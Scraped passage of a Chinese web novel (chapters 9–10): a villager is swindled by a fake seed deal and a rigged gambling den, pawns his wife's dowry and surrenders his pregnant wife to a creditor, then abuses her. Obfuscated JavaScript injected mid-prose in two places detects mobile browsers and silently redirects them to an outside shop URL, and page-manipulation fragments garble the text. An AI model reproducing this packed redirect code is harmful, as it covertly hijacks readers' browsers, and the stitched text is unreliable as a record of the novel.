她顺着视线望去,是殷盈噙满泪水的双眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717078|189372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷盈浑身颤抖,仿佛这一巴掌已用尽全部力气,整个人软软跌坐在地。 古语有:在天愿作比翼鸟,在地愿为连理枝*,以此赞颂夫妻情深,不离不弃。 可岁月磋磨,多少誓言在柴米油盐中失了声、变了质。眼前这对男女,也正与寻常无数夫妻一样,为一点颜面、几分猜忌,便将昔日情谊践踏在地,拉扯得面目全非。 娑昙冷眼瞧着,心中无波无澜。 殷盈猛地抹去泪水,浑然不顾四周投来的各异目光,颤声道:“张承平……在你眼里,我就只剩这张脸了吗?我嫁你,难道是图你的钱财家业?” “当初那么多好亲事摆在眼前,舅妈连青阳镇的亲事都为我相好了,可我为何偏偏选了你?” 她声音陡然拔高,哭道:“你可曾想过?那是因为你说过要一辈子待我好!是你说要拼尽全力让我过上好日子!是你说……要让我做丰洼村最幸福的女人!” 张承平被她一字一句的质问惊醒,暴怒骤然褪去。 他怔怔地看着跌坐在地的殷盈,又扫过周遭越聚越多、指指点点的目光,猛地清醒过来。 他慌忙俯身将殷盈拉起,转头对四周厉声喝道:“看什么看!都走开!” 待人群不情不愿地散去,他才回身用袖口揩去殷盈脸上的泪,嗓音软了下来,带着几分仓促的安抚:“盈盈……盈盈,是我不对,我不该那样吼你,更不该疑你。千错万错都是我的错,你别哭了……” 多日的委屈终得以诉说,殷盈噙着泪道:“那人根本就是个无赖……我处处躲着他,他却偏要纠缠不休……” “别哭了盈盈,是我不对,你打我几下出出气好不好?” 殷盈一把推开他,语气里带着怨:“你每次都这样!” 张承平又凑近将她搂住,温声哄了几句,随后借机提议道:“好了盈盈你看啊,我们既有了这些本钱,往后便可以做点小买卖,你也无需整日抛头露面,惹上这些糟心事。” “可是……” “再说……我们成亲已一年,至今尚无子嗣。爹娘去前的愿望,便是盼着延续张家香火。不如抓紧些,早日怀上,你安心在家休养,外面有我赚钱养家。” 殷盈被这直白的话臊得耳根发烫,忙伸手捂住他的嘴:“大街上呢,浑说些什么……” 见殷盈的态度软化,张承平心下一喜,伸手将她揽入怀中:“这有什么要紧?你我本是夫妻,谁还能说闲话不成?” 殷盈仍在抽噎,一边抹泪一边低诉:“今日若不是遇上贵人,我真不知要如何收场……你倒好,还要这般对我……” “是、是,都是我不好,”张承平连声应道,“我们是该好好谢谢那位大人。” 深秋的青阳镇满地梧桐叶,秋风瑟瑟,落叶纷飞。张承平随着漂泊的落叶回头,琉璃瓦顶的高楼上,一袭白衣被众人簇拥,衣袂翩飞。 张承平收回目光,他们牵着手回家。两人并肩同行,俨然一对恩爱夫妻。 可娑昙知道,张承平另一只手牢牢攥紧钱袋,片刻未曾松手。 9. 欺瞒 没过多久,殷盈怀有身孕。 张承平喜出望外。他早年请算命先生算过,说他命里香火鼎盛,子孙满堂,所以这一胎必定是个儿子。 他托了柳枳的媳妇阿秋照顾殷盈,自己拿着钱袋去镇里看看,找点活做。 虽跟殷盈说得信誓旦旦,但张承平心里没底。思来想去,打算去投资些小本买卖,听闻村西的范老头有门路,便特地去请教一番。 “做生意?眼下这光景,什么生意都不好做噢,”范老头叼着烟杆,掂了掂那钱袋,“而且就你这十几两银子,能做啥东西嘞,那些大老板看都看不上喏。” 张承平羞红了脸:“您老帮帮忙,家里实在缺钱,还有老婆儿子要养……” 仅凭他那一亩三分地,怕是都撑不到儿子出生! 范老头瞥了他一眼:“真想赚钱?” 张承平忙点头:“您只管说。” 范老头吐出一口烟,勾了勾手,张承平凑近了些,听他道:“我在青阳镇有一个熟人,是做香料生意的,如今贵人们都爱用这个,供不应求。” “他那边原料短缺,你不是有几块地吗?去他那儿买些现下时兴的香料种子,种成后卖给他,他能给你这个数嘞!” 范老头朝张承平比了个手势,张承平一看,急忙道:“当真?您替我引荐一下,我保管事成后请您好酒好肉,您就是我们家大恩人!” 范老头闻言哈哈大笑,慢悠悠道:“平娃子诶,老叔是看着你长大的,所以才透露给你,可俗话说得好,亲兄弟还得明算账不是?” 张承平微微一怔,只见范老头大拇指和食指合拢搓了搓,意味深长地笑道:“得这个啊。” 这是要钱的意思。张承平手指捻了捻:“要……要多少。” 范老头说:“十两罢。” 张承平“嘶”了声,面露犹豫,半晌没吭声。范老头也不催促,只道:“不是老叔故意抬价啊,谢驿豪,你认得吧?如今全家搬到镇上,多风光啊,那门路也是我给搭的,一样给了十两银子,有付出才有回报嘛。” 舍不得孩子套不着狼,张承平心下一狠,递了十两银子过去。范老头乐呵呵收下,叼着烟杆写下一个地址和一封信,交代他明日去镇上找人。 这一晚张承平睡得极不踏实,天还没亮,就揣着家里能拿出的积蓄,搭上村里拉货的马车,匆匆赶往青阳镇。 张承平几经打听,才寻着范老头写的地址。 目的地是间装修别致的小院,门匾上鎏金大字写着“清风阁”,四周铺面皆显豪奢,客人络绎不绝,个个衣着光鲜,瞧着非富即贵。 张承平没见过这般大场面,不由得攥紧了布袋,忐忑地进了院子。 他找了个伙计说明来意,那人听闻后,引他上了二楼的一处隔间。 屋内一年轻男子正在看书,伙计上前耳语几句,男人点点头,随即热情地起身相迎。 “张……是范叔推荐来的?我没记错的话……嗯,丰洼村是吧?” 张承平局促道:“是……还望兄台指点一下,怎、怎么个赚钱法。” 他慌乱地掏出鼓囊囊的钱袋,放在桌上,却并未松手。 “不必如此紧张,论年纪,我还该称您一声大哥呢。我姓蒋,叫我小蒋便好。” 小蒋热络地揽过他的肩,笑道:“想必范叔都和你说了,如今香料可是紧俏生意,你瞧我这铺子,躺着都进账,一月盈利便有千金啊,就是缺少原料,正愁您这样有地的人手呢。” “不过嘛,好种子价也高,成本不小。” 他随手翻开账簿指点,张承平呼吸微顿,连问:“那、那我这些钱,够吗?” 小蒋笑着接过钱袋,掂了掂,沉吟道:“张大哥这些,也只够进些薄利的种子,量还不多。我就算为您走个内部价,也难赚回多少啊。” 张承平心头一紧,他十两银子都花下去了,怎能看不到一点水花。他一把抓住小蒋的手腕,脱口道:“还差多少?” 小蒋道:“还有些多嘞,大概……这个数。” 张承平呼吸急促,像个无头苍蝇样乱转,猛地转身道:“小蒋,哥眼下实在拿不出这么多,能否通融些?我家几亩地最是肥沃,定能种出上好的香料!” 小蒋摇头轻叹:“张大哥,不是弟弟不肯帮您,这价钱实在不能再低,再让下去,小弟只能亏本了。” 张承平急得直冒汗:“好弟弟,你就帮哥一回,这都是我的血汗钱,家里妻儿还指望着,若不是走投无路,哥绝不会这般求你!” 小蒋眯眼看了他会,似有些动摇,终是松口道;“罢了,大哥都说到这份上了,小弟也不好推拒。” “就这个价,真的不能再让了。这批货我一文不赚,全当与大哥结个善缘。” 张承平看他比的手势,与自己带来的相差并不远。 可是他哪还有余钱?除非…… 张承平深吸一口气,斩钉截铁道:“好!老弟你千万替我留着这批货,明日哥带钱来给你!” 小蒋郑重其事道:“张大哥放心,肯定留着呢。” 张承平搭了最快的马车赶回村子,到家时已太阳西斜,殷盈正在摘豆角,见他回来,笑着问:“回来啦,生意谈得如何?” 张承平本就心虚,含糊回道:“还……还成,有些苗头了,只是刚起步,还得再等等。” 殷盈道:“没事的,不着急,哪有一来就成功的,我们脚踏实地一步步来。” 张承平也不知道当时怎么和殷盈说的,匆忙回屋后,视线紧盯梳妆台,不受控制地走了过去。 他开始翻找,他知道殷盈的嫁妆就放在这,因为殷盈从不避着他。 一只雕花木盒很快映入眼帘,张承平不敢取那显眼的翡翠玉镯,而是选了底层的珍珠耳环和玛瑙珠钗,小心翼翼地贴身放好,再将木盒归于原位。 张承平一夜未能安眠,与殷盈同床如卧针毡。翌日清早,他便搭着马车去镇里。 他先是将殷盈的嫁妆去当铺当了,凑够了买种子的钱,还余了十几两。他捏着沉甸甸的钱袋,终究还是没有将多的银钱添进去,只按昨日说定的数目,悉数交给小蒋。 小蒋拿了钱也不啰嗦,当即提笔写下契据递给张承平,只道新一批种子隔几日才到,让他届时再来取货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他从未进过这种地方,只能漫无目的闲逛,那些迎客的女子瞧也不瞧他一眼,转身迎向另一位衣着富贵的客人。 他气恼,却又无能为力,他报复性地来到一个赌桌前,取出一半银子,押在众人的对面。 横竖无人会在意,正如无人会多看他一眼。 可出乎意料的,他赢了。 仿佛梦一般,张承平不敢相信自己的眼睛。 少女轻声问他是否还要继续投注,张承平迟疑片刻,将刚赢来的半数银子推上前,随手押了个“大”。 骰子转动,落定。 竟又赢了。 四周顿时响起一片抽气声,数道目光落在他身上,银钱如水般哗啦啦地推到他面前,越积越高,早已超过他被骗去的数目。 张承平红了眼,在少女一声声询问中,压下更多的银子。 可他并不知道,高楼之上,一道目光牢牢锁住他。 “少爷,看清楚了,就是前两月那卖绣品妇人的丈夫!” 杨淮漫不经心地转着酒杯,嘴角勾起一抹冷笑。 “让他赢,赢得越多越好……把我那日之耻,连本带利地讨回来。” 10. 世俗 张承平不断地赢,不断地赢,在热情的高呼呐喊中,宛如赌神临世。他飘飘然想,早知如此,往日何必为那几个铜板辛苦奔波? 这念头方起,还未来得及在得意里扎根—— 骰盅再开。 四下骤然一静。 所有目光钉在他刚刚押下的,如山般的银钱上。 庄家面无表情,伸手一揽,悉数收回。 “不,不——我的钱——” 张承平绝望地嘶吼着,一瞬天堂一瞬地狱,他死死抓住店家的手,想要把化为乌有的银钱抢回来。 一旁的侍卫立刻上前,一左一右将他架走。张承平奋力挣扎,引来不小的骚动。 这等场面在赌坊早已司空见惯,四周的赌客嫌他扰了兴致,纷纷皱眉叫骂起来: “输不起就别玩!” “快把这个疯汉撵出去,碍眼!” 张承平被一路拖向大门,嘴里仍不甘地叫嚷,四肢徒劳地挣扎,可体力悬殊,根本挣脱不得。 正当他万念俱灰之际,一道声音蓦地扬起—— “停下,放他下来。” 侍卫应声松手,张承平踉跄着扑地,慌忙向前爬去,却被一只金钱绣纹的锦鞋挡住了去路。 他一把攀住那只脚,语无伦次地哀求:“我还能赢……再借我些本钱,只借一点……我一定连本带利还你,一定……” 鞋尖勾着他抬起头,一张圆润带笑的脸低下来,乐呵呵道:“来者皆是客,我们‘金醉欢’,最愿给客人机会。” 男人晃了晃手中的钱袋,笑容可掬:“这钱,我能借,可你拿什么抵押?” 张承平死死盯着那袋银子,仿佛抓住了最后一根救命稻草,猛地抓住对方的衣袖:“什么都行!我什么都押给你!只要你借我,翻倍……翻倍还你!” 男人轻笑道:“好啊,一言为定。” 他朝身后略一颔首,侍卫默然让开了一条路,任由张承平跌跌撞撞冲向最近的赌桌。 “全押!我全押!” 他双目赤红,像一头被逼绝境的困兽,在做最后的挣扎。 赌桌之上,金银闪烁,纸钞堆叠,白花花的银锭与金灿灿的元宝在众人手中推来攮去,光影迷离间,仿佛织成一张细密的蛛网,将张承平层层缠裹。 张承平眼睁睁看着面前的银子如流水般散去,最终只留下空瘪的钱袋和四周刺耳的哄笑。 他瘫坐在地,目光呆滞。 为什么,为什么,为什么他又输了?他本该一直赢下去,将桌上所有的财富尽收囊中才对! 还未等他反应过来,他就被两名壮汉架起,拖进一间幽室,像扔破布袋一样扔在地上。 张承平挣扎着爬起,却被一只脚狠狠踩住头。他痛得惊呼一声,脚步声由远及近,有两人停在他面前。 他拼命伸手想去抓住那人,却被压得动弹不得,只从喉中挤出哀鸣道:“再……再借我点……我一定能赢回来……” 一个慢条斯理的声音响起:“借你的早输光了,还倒赊了百两银子,把你卖了都凑不齐。” 这个声音有些耳熟。张承平猛地抬头,赫然对上杨淮的脸。 怎么是他?! 杨淮缓缓蹲下身,张承平慌忙低头,却被他用折扇抵住,只能被迫与杨淮对视。 先前借钱给他的那个男人,正恭敬地站在杨淮身后。 张承平霎时明白了。 只怕从那范老头,到小蒋,还有这赌局的输输赢赢,全都是…… 他浑身一冷,颤声哀求:“杨……杨少爷,您行行好,发发慈悲……再借我些,我保证能还……一定能还!” 杨淮冷笑一声:“借?当日你那女人害得我颜面尽失,如今还想我帮你?” 他一脚踹在张承平的肚子上,厉声道:“老子没把你打残都算好的了,还敢跟老子谈条件?今天这钱你必须还,不然老子先剁你几根手指!” 身旁壮汉立刻递上一把砍刀。杨淮接过,锋利的刀刃压在张承平的手指上,壮汉牢牢拽住他的手腕,眼看手起刀落就要砍下—— “别,别砍!我能还……我能还!” 张承平浑身剧颤,身下一摊腥臊液体漫开,竟是吓得失了禁。 杨淮低头一看,顿时面露嫌恶,甩手扔了刀,退开几步。 张承平顾不得什么颜面,哆嗦着爬向前,连磕几个头:“求您宽限几日……我回去凑钱,一定凑来还您……” 杨淮把玩折扇,略一抬头:“你就一山野村夫,拿什么凑?” “只要放我回去……我自有办法……” 杨淮与身后的男人交换一个眼神,似乎生出了几分兴趣,这才慢悠悠道:“放你回去也不是不行,但你若跑了呢?我得派人跟着。” 张承平哪敢说不,忙不迭磕头应声,污浊的脸上混着尿液和眼泪:“好……好……都听您的……” 得了杨淮的首肯,金醉欢的人自是放了他走,还有一名壮汉跟着他,两人一路无话,坐着马车回了丰洼村。 推开大门,早已等候多时的殷盈迎了上来,张承平身上一股子尿腥味,直接躲开殷盈的手。 殷盈微微一愣,还没来得及开口,就见其身后跟着的男人,疑惑道:“这位是……?” 壮汉自是不会替张承平圆谎,张承平勉强扯着笑回应:“是……是我生意上一个伙伴,来我们家借住几晚……” 殷盈笑着道:“这样啊,那我去将另一个屋子收拾一下,堂屋还有给你留的饭菜,饿了记得吃啊。” 张承平盯着殷盈的背影,随意嘱咐了壮汉几句,悄摸着进了里屋。 他直接走向梳妆台,开始翻殷盈的嫁妆盒。 那个翡翠玉镯价值非凡,是殷盈祖上留下的传家宝,只要把它当了,只要把它当了—— 放嫁妆盒的位置是空的! 张承平呼吸微滞,他将柜子翻得乱七八糟,可唯独没看见嫁妆盒的身影。 “你在找这个吗?” 颤抖的声音蓦地在身后响起,张承平浑身僵硬,他保持着这个姿势回头。 殷盈站在门前,手里拿着那个本该在柜子里的嫁妆盒。 他说不出那是什么表情,失望吗,愤怒吗,难过吗……他分辨不出。 他只能怔愣地看着殷盈走近,盒子里那翡翠玉镯温润透亮,其他首饰都在其照耀下黯然失色。 “你……怎么发现的……”他听着自己干涩的声音。 殷盈低着头,道:“这些东西我都有数,我昨天就看见你拿了我的嫁妆出去,但我没说。” “平哥,”殷盈捧起张承平的手,恳切道,“告诉我发生了什么好吗,我们一起面对,不要瞒着我。” 张承平跪在地上,握着殷盈的手泣不成声,可他还是不敢全盘托出,他根本不能全盘托出。 “是……是生意上出了困难……” 他终究还是说了谎,撒了一个谎就要用无数个谎去圆。 殷盈听后没有多说什么,只是拿出嫁妆盒里的翡翠玉镯,放到张承平的手上。 张承平愣着抬头。 殷盈遮挡住了屋内的烛光,使得她的神情模糊不清。 她伸手抚摸着他脸,带来些许痒意。 “如果需要的话,拿去吧,我想郭家列祖列宗,肯定是希望晚辈幸福,我会幸福的。” “我和孩子会幸福的。” 隔日一早,张承平拿着玉镯,与壮汉一同回到了金醉欢,将玉镯交给了杨淮。 杨淮拿着玉镯在日光下端详片刻,随手丢给下人,语气轻蔑:“成色寻常,顶多赏给下人,上不得台面。” 张承平一听急了:“怎么可能!这是祖传的宝贝,怎会只值区一百两银子!” 杨淮冷笑一声,茶盏重重地磕在桌上,身后的护卫立即将张承平狠狠按跪在地。 张承平不敢再争辩,颤巍巍问道:“那、那依您看……能抵多少银子?” 杨淮斜睨他:“顶多一百两,还欠七百两银子,你准备怎么还?” “七百两?!”张承平失声叫道,“昨日分明才四百两,今日怎就增加了这么多!” 杨淮嗤笑:“不要利钱吗?我宽限了你一日,涨这些算什么?” 张承平脸上血色尽褪,杨淮瞧了他一会儿,忽又慢悠悠开口:“分期还嘛……也不是不行。” 他俯身向前,唇角扬起一抹饱含恶意的笑:“听说……你家里那个女人,怀有身孕?” 张承平立马抬起头,见杨淮笑道:“你那女人既然绣工了得,不如就来我杨府做工还债罢。” 张承平猛地一颤,指甲掐进掌心。 “当然,你若不肯……今日这七百两,少多少,我剜你一片肉,你看你这个体格,能撑多久呢?” 他略一摆手,身后壮汉咔嗒一声,将砍刀掷在张承平面前 地上寒光凛冽,映出张承平扭曲的脸。 许久,他肩膀垮塌下去,喉咙里滚出一声近似呜咽的喘息。 “……好。” 一个字,干涩嘶哑,像从齿缝间硬挤出来。 杨淮满意地笑了。 “早该如此,”他折扇一合,轻敲张承平肩头,“三日后,我派人去接她。你可要……好好跟她道别。” 说罢转身,衣袂带风,再不多看一眼。 张承平拖着疲惫不堪的身子,不知怎么走回的家,怎么见的殷盈,又怎么同她说了嫁妆的事。 他只记得,当他对着满怀欣喜的殷盈说完那番话,抬手推开里屋的门时,见着的却是殷盈的舅舅、舅母,还有她那满头银发的外祖母。 “张承平,你这是什么意思?你竟然敢拿我们郭家的传家宝去当了!” 舅母一把扯住他,声音尖利:“我就说吧,盈盈不能嫁给你这穷酸败家子,你今天不把镯子赎回来,我跟你没完!” 张承平怔怔望着眼前口沫横飞的妇人,她的面容在视线里渐渐模糊成一片晃动的重影。 殷盈面色苍白,轻轻拽了拽郭舅母的衣袖:“舅母,您先消消气,让平哥歇会再说。” 郭舅母扭头剐了她一眼,正要发作,却瞥见身后丈夫递来的眼色,又朝端坐的郭老太太那儿努了努嘴,这才不情不愿收住脚步,只不过嘴里仍絮叨着:“嫁出去的女儿泼出去的水,心早就是夫家的嘞,哪还念着娘家半分好!” 殷盈只当未听见舅母的冷嘲热讽,拿来茶碗倒了些水递给张承平,拍了拍他的背,轻声道:“平哥,累了吧,你先歇会,慢——” “杨家。” 张承平冷不防出声,屋中霎时一静。 他抬起头,直视着愕然的众人,重复道:“抵给杨家了。” 郭家大郎与媳妇互相对视一眼,脸色几变,迟疑问道:“可是……青阳镇安顺商会,那个杨家?” “是。” 郭舅母“哎哟”一声拍着大腿:“你惹谁不好去惹杨家?他们动动手指,咱们就别想安生!” “究竟欠了多少?利息几何?这债总不能算到我们郭家头上吧?你可别拖我们下水!” 声声逼问压得张承平喘不过气,他绝望地望向殷盈,却只见她局促地向他靠拢。 又是这样,总是这样! 一股邪火直冲头顶,他猛地拽倒殷盈,面容扭曲地指着她,破口大骂道:“问问你们的好侄女啊!若非她不知廉耻地勾搭杨家公子,我怎会被杨淮记恨上,又怎会落到这步田地??” 殷盈难以置信地望着他,浑身发抖。 张承平一把扯住她的头发,逼她抬起脸来:“长这狐媚样天生就是来勾引人的,我当初就是错看了你,怎知你是个婊子,私下里偷偷跟多少人有私情啊?还装这副纯样,肚子里怀的是我的孩子吗,他娘的——” 场面登时大乱。郭大郎急忙上前阻拦,却敌不过张承平年轻力壮,被他一把甩开。殷盈在推搡间脚下不稳,额角重重磕在粗糙的墙面,顿时鲜血直流。 那抹刺眼的红令张承平浑身一震,郭舅母吓得失声尖叫。原本坐在上面干着急的老太太见状,踉跄着扑到殷盈身边,扶住她鲜血淋漓的脸,连声急唤:“囡囡啊……我的囡囡,你怎么样……” 郭大郎狼狈地从地上爬起,将吓坏了的郭舅母往后拽,示意她去照看殷盈和老太太,自己则强压火气,对张承平安抚道:“侄女婿,你先别急!这究竟是怎么一回事?盈盈她……她怎么又和杨家公子扯上关系?” 张承平如梦初醒。他深吸一口气,也不管好的坏的,添油加醋一股脑说了个全。 郭大郎听到最后,脸色已是青红交加。不等他开口,郭老太太就怒道:“不成!盈盈还怀着身子,那杨淮欺男霸女、恶名在外,岂是善类?!她若进去,就是羊入虎口!” “再说那翡翠镯子何等贵重,这杨淮分明是想独吞了去,还要辱我盈盈!” 怀中的殷盈发出一声痛苦的呻吟,张承平扭过头不敢看,嘴上却强硬:“若不是她——” “盈盈何错之有?!”老太太气得连连拍地,咳喘不止。 郭大郎忙为她顺气,待缓过些,她才沉声道:“若不是你执意借钱去赌,何至于此!” “娘!”郭舅母拉住老太太,低声道,“那是杨家啊!此事若传开,殷盈往后还怎么抬头做人?不如就此认下,哄得杨家高兴了杨家高兴了,说不定镯子也能拿回来……” 老太太气极:“她是你亲侄女!你还有没良心?!” 郭舅母一听,当即撇了下嘴:“亲侄女?她这些年吃的用的,哪一样不是我们出的?她爹娘留下过一个铜板没有?我掏心掏肺,说成了青阳镇一门好亲事,她倒好,死活要嫁这穷鬼!说白了,她是您外孙女,是外亲,我们家阿明才是您亲孙子!” “……好了!” 郭大郎高声打断二人的争吵。他用力抹了把脸,转身面向张承平,嗓音沙哑:“……就,先按杨家说的办……” 老太太顿时激动起来,颤声道:“大郎!你糊涂啊——” 郭大郎握紧了她的手:“娘……这是唯一的法子了。杨家……杨家我们惹不起啊……” 一旁的郭舅母连忙附和:“是啊娘,就听当家的吧,别争了。” 老太太直直地望着他们,怀中的殷盈忽然动了动。 只见她挣扎着起身,无力地靠在老太太的颈窝,气息微弱:“外祖母,让我去吧……不碍事的……” “盈盈……” “母亲临走时,只盼您安度晚年,盼郭家能平平安安……”她缓了口气,声音轻得像叹息,“就当是为了母亲,为了我腹中的孩子……好吗?” 老太太没有说话,只垂首,将满是泪痕的脸贴紧孙女的额头。 张承平默立一旁,不敢上前。 这场闹剧闹了半宿,村里的老药师早已歇下,众人只能给殷盈草草包扎。 夜已深,老太太经不起折腾,翌日又要准备迎接杨家,一行人便将就着在张承平家中住下。 殷盈这晚并未与张承平同房,而是和外祖母相拥而眠。 天刚亮,马车轱辘声打破了小院的宁静。张承平匆匆起身时,殷盈一家已候在院中。 她额上缠着纱布,脸色苍白,立在浓雾里,单薄得像一缕随时会飘散的烟。 与外祖母、舅舅道别后,殷盈转身登车,背影决绝,自始至终未看张承平一眼。 张承平踌躇着往前挪了半步,终究停在了原地。 随行侍从轻蔑地瞥他一眼,扬鞭驱车,消失在晨雾深处。 浓雾吞噬了马车,也吞噬了幻境。 [无数次午夜梦回,我总在想,若能回到这一天,我定会拉住盈盈,求她别走……] 天地白茫茫一片,亮得刺眼。下一瞬,场景接连变幻,落叶纷飞至皑皑白雪,积雪消融再至春暖花开。 转眼间,殷盈离开已有四月。杨府虽不许她回家,却允许信件流通,能给家中报个平安。 此期间,殷盈没有给张承平写过一封信,他们之间最后的信件,还是未婚之时,莲池相遇。 张承平也曾去找了范老头,想讨回那十两银子。结果到了地方见大门紧锁,问了邻人,才知人家一月前就搬走了。 他虽知其中有猫腻,却也无可奈何,只能哑巴吃黄连,把这事烂在肚子里。 [杨家做足了势,村里人都知道盈盈去了商会。他们明里暗里打听,却没一人敢挑明了说。] [我在村子里抬不起头不要紧,只要盈盈回来,生下儿子,老张家有了后,我就能扬眉吐气,我们就能翻身过上好日子——] “平娃子,出大事了——!” 一声尖呼吓得张承平撂下碗筷就冲了出来,只见郭舅母跌跌撞撞地跑过来,气还没喘匀,攀着他胳膊道:“殷盈她外祖母……她、她——” 张承平心里咯噔一下:“外祖母她怎么了?” 郭舅母煞白着脸喊道:“她偷跑去镇上,留了书说要去杨府,结果……结果叫马车给撞了!刚捎回信,说人怕是不成了……” 张承平只觉得天旋地转,猛地推开她往外跑,朝镇上狂奔。 郭舅母“哎哟”一声拍腿跟上,追着张承平道出始末。 原是老太太思念孙女心切,竟趁夫妻俩不备,独自坐车去了青阳镇。她一路寻到杨府门口,不料被一辆马车撞飞。 有好心的医师上前诊脉后,摇着头说回天乏术,尽早安排后事罢。 尸身无人认领,百姓们众说纷纭,幸而同路人认出她是郭家老太太,赶忙回村报了信。 等张承平赶到时,杨府外围已堵得水泄不通。 他奋力拨开人群,冷不防被谁绊了一下,整个人直直往前扑,结结实实摔在地上。 四周目光霎时聚拢过来。 他揉着剧痛的膝盖抬起头,一张熟悉的精致侧脸映入眼帘。 殷盈直挺挺跪在地上,眼眶通红,身子比记忆里削瘦了许多,唯有腹部高高隆起。 他弄出这般动静,殷盈却像全然未觉,依旧倔强地盯着前方,她一手撑着后腰,一手护住肚子,额上冷汗涔涔,却又紧咬牙关忍着。 张承平刚想伸手扶她,视线突地侵入一点白。 他顺着望去,一卷草席搁在地上,里头裹着个人,头上覆着白布,身上那件衣裳,张承平再熟悉不过。 他呼吸微滞,干裂的嘴唇翕动,一声“盈盈”含在嘴里,顷刻被四周嗡嗡的议论声淹没。 “哎呀,真造孽啊!听说老人家七十多了,特地进城看孙女,竟叫马车给撞啦!” “是杨府的马车!我亲眼看见杨大公子新纳的小妾从车上下来,穿得那叫一个花枝招展,胳膊腿都露在外头,狐狸精似的,也不嫌害臊!” “说起小妾——喏!跪着那个不就是?杨大公子亲自请进府的‘绣女’,听说家里本来有男人,还怀着身子呢。被撞的是她外祖母,现在跪在这儿讨说法呢。” “这世道哟……小妾撞了小妾的家里人,倒跑到大房这喊冤。也不晓得这肚子里是谁的种,要真是杨大公子的,她丈夫岂不是戴绿帽了?这都能忍?换我早写休书了!” 张承平听得面红耳赤,下意识往后缩,想将自己藏进人堆里。可他个子高大,反倒引得旁人频频侧目。 “吱呀——” 紧闭的朱红大门打开,走出一行人,为首的正是曾在街上有一面之缘的杨府管家。 “去去去!聚众闹事像什么话,都散了!” 侍卫们提刀上前驱赶人群,百姓们惧于杨府威视,哪还敢看热闹,马上退得远远的。 管家站到殷盈面前,脸上堆起和煦的笑意:“殷小姐,我家老爷有请。” 殷盈依旧跪得笔直,不为所动。 管家也不恼,招了招手,两名侍卫会意,上前将老太太的尸身抬起,送入了杨府。 “老爷感念郭老太太一片爱孙之心,实乃我辈楷模,特择了块风水宝地,以慰老人家在天之灵啊。” 殷盈闻言,转过头看了他几眼。她深吸了口气,终是扶着管家递来的胳膊,借力站了起来。 张承平又唤了声“盈盈”,二人都未理会,径直进了杨府。 待去外村采买的郭大郎匆匆赶到时,已是暮色四合。春夜生寒,几人等了许久,仍不见殷盈出来。 张承平哈欠连天,与郭家人招呼一声,便搓着手回家去。 翌日一早,张承平被一阵锣鼓声惊醒。他睡眼惺忪地披衣出门,正撞见一支送葬的队伍从门前经过。 他定睛一看,那方向竟是往郭家去的,心头猛地一震,拔腿就追了过去。 郭家小院已挂起素白布幡,那棵石榴树下,赫然添了一座新坟。殷盈一身缟素跪在墓前,身形消瘦,面色枯槁,仿佛一株失了魂的玉簪花。 张承平嗫喏出声:“盈盈……” 殷盈闻声抬头,目光在他脸上停留片刻,那眼神深得像井。 她什么也没说,只是俯身朝墓碑郑重地磕了个头,随即撑着地踉跄着起身。 张承平见状,急忙上前搀扶。 殷盈推开他,对一旁泣不成声的郭大郎低声道了句“走了”,便独自出了院门。 张承平收回僵在半空的手,捏紧拳头,转身问郭大郎发生了何事。 郭大郎抹着泪,断断续续道出经过。 殷盈从杨府出来后,对里头的事只字不提,只说外祖母生前念着落叶归根,就让她在石榴树下安息吧。 “今早杨府派人来,立了碑,办了丧仪,算是给娘风光大葬了……” 张承平听罢心中五味杂陈,也不知该说什么。他默默给郭老太太上了柱香,匆匆转身去追殷盈。 刚踏出院子,身后便传来压得极地的争执声。 “你那好侄女……杨家原本定的是秋岭山,那儿葬的都是非富即贵,说出去我们多有面 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家中那两亩地早已荒废。张承平却迟迟不去打理,每日揣着钱袋出门,只含糊地对殷盈说“寻些活计”,实则并未找到什么正经营生,不过是在青阳镇漫无目的地闲逛。 郭老太的事闹得人尽皆知,流言蜚语也愈传愈凶。为此,没一个店家敢收他。码头倒是有些搬运的力气活,只是累死累活也挣不了几个钱,张承平想了想,还是决定再找找看。 偶尔经过赌坊,他便手痒难耐,总要进去小赌几把。回去见到殷盈时心里发虚,可第二天便抛之脑后,照旧如此。 村里那些异样的目光从没断过——人们瞧着他,眼神带着怜悯,私下里不知怎样编排他。 他日日忍着那些看热闹、不怀好意的目光,心里暗想:这些人就是自家生不出儿子,闲得发慌。等盈盈生下儿子,为老张家传宗接代,看谁还敢小瞧了他! 娑昙心中对之后发生的事情已有一个大概的猜想。 幻境随着过往的记忆推行,直至回忆结束,娑昙只能跟着张承平的视角,观看这场百年前的往事。 殷盈临盆那日,张承平在门外焦急地踱步,听得屋内终于传出一声响亮的啼哭,他心头一喜,推门便冲了进去。 接生的婆子抱着襁褓,笑呵呵地贺道:“恭喜啊,得了个千金。” 张承平伸出去的手顿时僵在半空,以为自己听错了,又问了遍:“是……是什么?” 接生婆拍了拍怀中啼哭的婴儿,笑道:“是个千金!” 他猛地冲上前,一把夺过孩子掀开襁褓——确确实实是个女婴。 张承平浑身发抖,喃喃道:“怎么是女儿,这不可能……!” 他去庙里求过菩萨,花大钱买了偏方,隔壁熊阿婆家就是喝了这药才得了儿子,怎么会…… 被挤到一旁的接生婆磕上桌角,痛呼道:“哎哟!你当心吓着孩子!” 张承平充耳不闻,冲到殷盈床前,指着她质问:“你说!这孩子到底是不是我的?不然怎么会是个女儿!” 接生婆这下不嚷嚷了,眼神在张承平与殷盈之间来回转。 殷盈脸色惨白,濡湿的黑发贴在鬓角,露出她光洁额头上,那条细长丑陋的疤痕。 她闻言虚弱地笑了笑:“不装了?我以为你还要装到几时。” “好!好!”张承平气得将孩子往床上一摔,“我就说你怎么肯安分在家,怕是早与奸夫暗通曲款了吧!杨淮也是因此不要你的吧?谁肯要你这等贱妇!” 